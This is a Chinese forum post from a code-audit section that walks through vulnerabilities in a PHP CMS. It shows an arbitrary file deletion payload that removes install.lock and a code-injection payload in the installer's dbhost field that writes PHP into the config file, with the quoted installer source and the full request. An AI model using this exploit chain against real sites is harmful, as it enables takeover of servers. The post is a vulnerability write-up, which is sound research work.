记一次审计的奇思妙想

# 前言 最近在社区看文章的时候,发现了这一篇https://forum.butian.net/share/326 发现作者在审计前的分析很详细,但是在找漏洞时太依靠工具,所以感觉应该还会存在一些漏洞,故有了本篇。 # 漏...

前言

最近在社区看文章的时候,发现了这一篇https://forum.butian.net/share/326 发现作者在审计前的分析很详细,但是在找漏洞时太依靠工具,所以感觉应该还会存在一些漏洞,故有了本篇。

漏洞分析

在我们对该CMS进行安装后,我们发现:

安装后任然存在install目录,并且会生成一个install.lock文件来标记,使我们不能再次安装。
所以,我们只要找到一个任意文件删除漏洞就可以把这个文件删除掉,然后就能进行重装,所以在全局搜索unlink函数后,在前台的/app/controller/kindeditor.class.phpdelete函数中发现了这段代码:

所以我们看到只要构造这样的payload:?ac=kindeditor_delete&pic=/app/data/install.lock就能够把install.lock删除然后就存在了重装漏洞了。




但是,一次审计,目的肯定是想要进行getshell,所以上述的漏洞当然不能满足我们的需求。但是我们都知道想要getshell,就只有传入一个能执行的马,但是该CMS对文件上传采用的是白名单,所以先暂时不对其进行考虑,这里,我们考虑到在install目录中,在对cms进行安装时,会存在一个写入生成默认配置的问题,所以,先打开/install.index.php,通读代码后发现大致利用代码如下:

$step = isset($_GET['step']) ? $_GET['step'] : 1;
......
switch ($step) {
......
    case '4':
        if (intval($_GET['install'])) {
            $n = intval($_GET['n']);
            $arr = array();
            $dbHost = trim($_POST['dbhost']);
            $dbPort = trim($_POST['dbport']);
            $dbName = trim($_POST['dbname']);
            $dbHost = empty($dbPort) || $dbPort == 3306 ? $dbHost : $dbHost . ':' . $dbPort;
            $dbUser = trim($_POST['dbuser']);
            $dbPwd = trim($_POST['dbpw']);
            $dbPrefix = empty($_POST['dbprefix']) ? 'tc_' : trim($_POST['dbprefix']);
            $uname = trim($_POST['manager_email']);
            $password = trim($_POST['manager_pwd']);
            $webpath = trim($_POST['webpath']);
            $randkey = uniqid(rand());
            $db_pconnect = 0;
            $conn = @ mysql_connect($dbHost, $dbUser, $dbPwd);
            if (!$conn) {
                $arr['msg'] = "连接数据库失败!";
                die(json_encode($arr));
            }
            mysql_query("SET NAMES 'UTF8'");
            $version = mysql_get_server_info($conn);
            if ($version < 4.1) {
                $arr['msg'] = '数据库版本太低!';
                die(json_encode($arr));
            }

            if (!mysql_select_db($dbName, $conn)) {
                //创建数据时同时设置编码
                if (!mysql_query("CREATE DATABASE IF NOT EXISTS `" . $dbName . "` DEFAULT CHARACTER SET UTF8;", $conn)) {
                    $arr['msg'] = '数据库 ' . $dbName . ' 不存在,也没权限创建新的数据库!';
                    die(json_encode($arr));
                }
                if (empty($n)) {
                    $arr['n'] = 1;
                    $arr['msg'] = "成功创建数据库:{$dbName}<br>";
                    die(json_encode($arr));
                }
                mysql_select_db($dbName, $conn);
            }

            //读取数据文件
            $sqldata = file_get_contents('./' . $sqlFile);

            $password = md5($password);
            $website = 'http://'. SITE_URL;

            $sqldata = str_replace('{username}',$uname,$sqldata);
            $sqldata = str_replace('{password}',$password,$sqldata);
            $sqldata = str_replace('{time}',time(),$sqldata);
            $sqldata = str_replace('{website}',$website,$sqldata);
            $sqldata = str_replace('{webpath}',$webpath,$sqldata);
            $sqldata = str_replace('{dbPrefix}',$dbPrefix,$sqldata);

            $sqlFormat = sql_split($sqldata, $dbPrefix);

            //执行SQL语句
            $counts = count($sqlFormat);

            for ($i = $n; $i < $counts; $i++) {
                $sql = trim($sqlFormat[$i]);

                if (strstr($sql, 'CREATE TABLE')) {
                    preg_match('/CREATE TABLE `([^ ]*)`/', $sql, $matches);
                    mysql_query("DROP TABLE IF EXISTS `$matches[1]");
                    $ret = mysql_query($sql);
                    if ($ret) {
                        $message = '<li><span class="correct_span">&radic;</span>创建数据表' . $matches[1] . ',完成</li> ';
                    } else {
                        $message = '<li><span class="correct_span error_span">&radic;</span>创建数据表' . $matches[1] . ',失败</li>';
                    }
                    $i++;
                    $arr = array('n' => $i, 'msg' => $message);
                    die(json_encode($arr));
                } else {
                    $ret = mysql_query($sql);
                    $message = '';
                    $arr = array('n' => $i, 'msg' => $message);
                }
            }

            if ($i == 999999) exit;
            $message = '成功添加站点信息<br />成功写入配置文件<br>安装完成.';
            //
            $newmodelstr = "<?php \n";
            $newmodelstr .= " define('DBHOST', '" . $dbHost . "');\n ";
            $newmodelstr .= "define('DBUSER', '" . $dbUser . "');\n ";
            $newmodelstr .= "define('DBPWD', '" . $dbPwd . "');\n ";
            $newmodelstr .= "define('DBNAME', '" . $dbName . "');\n ";
            $newmodelstr .= "define('DBCODE', 'utf8');\n ";
            $newmodelstr .= "define('DBCONN', " . $db_pconnect . ");\n ";
            $newmodelstr .= "define('MORESITE', false);\n ";
            $newmodelstr .= "define('USEMC', false);\n ";
            $newmodelstr .= "define('MCHOST', '127.0.0.1');\n ";
            $newmodelstr .= "define('MCPORT','11211');\n ";
            $newmodelstr .= "define('MCHOST2', '127.0.0.1');\n ";
            $newmodelstr .= "define('MCPORT2','11211');\n ";
            $newmodelstr .= "\n?>\n";
            $targetFile = '../app/data/mysql.php';
            @file_put_contents($targetFile, $newmodelstr);
            $arr = array('n' => 999999, 'msg' => $message);
            die(json_encode($arr));
        }

        include_once ("./templates/s4.php");
        exit;
}

因为代码过长,所以省略了没必要的代码,我们先从上述代码分析,发现我们要写入的内容中,我们能控制的变量只有$dbHost,$dbUser,$dbPwd,$dbName。而$dbUser,$dbPwd,$dbName却都是固定的,我们没法进行修改,所以我们更多的是考虑对$dbHost进行一些修改来搞,具体修改请继续往下看。
首先我们要让step等于4时,我们就能直接跳到case 4中执行,然后需要再给install参数以get方式赋值为1,然后后面的dbname这些就是数据库的用户名,这些都是正常的输入就好了,这里需要注意的地方只有两个点,第一个点是:

    case '4':
        if (intval($_GET['install'])) {
            $n = intval($_GET['n']);
            ...
            if (empty($n)) {
                    $arr['n'] = 1;
                    $arr['msg'] = "成功创建数据库:{$dbName}<br>";
                    die(json_encode($arr));
                }
            ...
            for ($i = $n; $i < $counts; $i++) {
                $sql = trim($sqlFormat[$i]);

                if (strstr($sql, 'CREATE TABLE')) {
                    preg_match('/CREATE TABLE `([^ ]*)`/', $sql, $matches);
                    mysql_query("DROP TABLE IF EXISTS `$matches[1]");
                    $ret = mysql_query($sql);
                    if ($ret) {
                        $message = '<li><span class="correct_span">&radic;</span>创建数据表' . $matches[1] . ',完成</li> ';
                    } else {
                        $message = '<li><span class="correct_span error_span">&radic;</span>创建数据表' . $matches[1] . ',失败</li>';
                    }
                    $i++;
                    $arr = array('n' => $i, 'msg' => $message);
                    die(json_encode($arr));
                } else {
                    $ret = mysql_query($sql);
                    $message = '';
                    $arr = array('n' => $i, 'msg' => $message);
                }
            }

这里,$n是对程序有影响的。首先$n不可以空,然后还有一个for循环需要用到它。这里我们可以直接让$n为一个很大的值,就可以跳出for循环就好了。
第二个点是

$conn = @ mysql_connect($dbHost, $dbUser, $dbPwd);
            if (!$conn) {
                $arr['msg'] = "连接数据库失败!";
                die(json_encode($arr));
            }

我们要连接数据库,所以我们要填写正确的内容。但是$dbHost, $dbUser, $dbPwd中后面两个是固定不能变的,所以我们考虑使用URL的锚点定位,所以我们这样构造:dbhost=127.0.0.1:3306#');phpinfo();就可以绕过去了。
所以最后的构造是:

GET:http://127.0.0.1:92/install/index.php?step=4&install=1&n=1111
POST:dbhost=127.0.0.1:3306#');phpinfo();('111&dbname=wodecms&dbuser=root&dbpw=root&manager_email=admin&manager_pwd=admin123&webpath=/


后记

这个cms挺有意思的,开发在一些奇怪的地方很注意安全,但是再默认配置这里还存在修改数据库来改默认文件来,写入getshell的方式,这里就不多说了。有兴趣的小伙伴们可以自行下载该cms来进行审计!!!

  • 发表于 2021-08-15 22:12:01
  • 阅读 ( 9125 )
  • 分类:代码审计

0 条评论

请先 登录 后评论
fthgb
fthgb

学生

3 篇文章

站长统计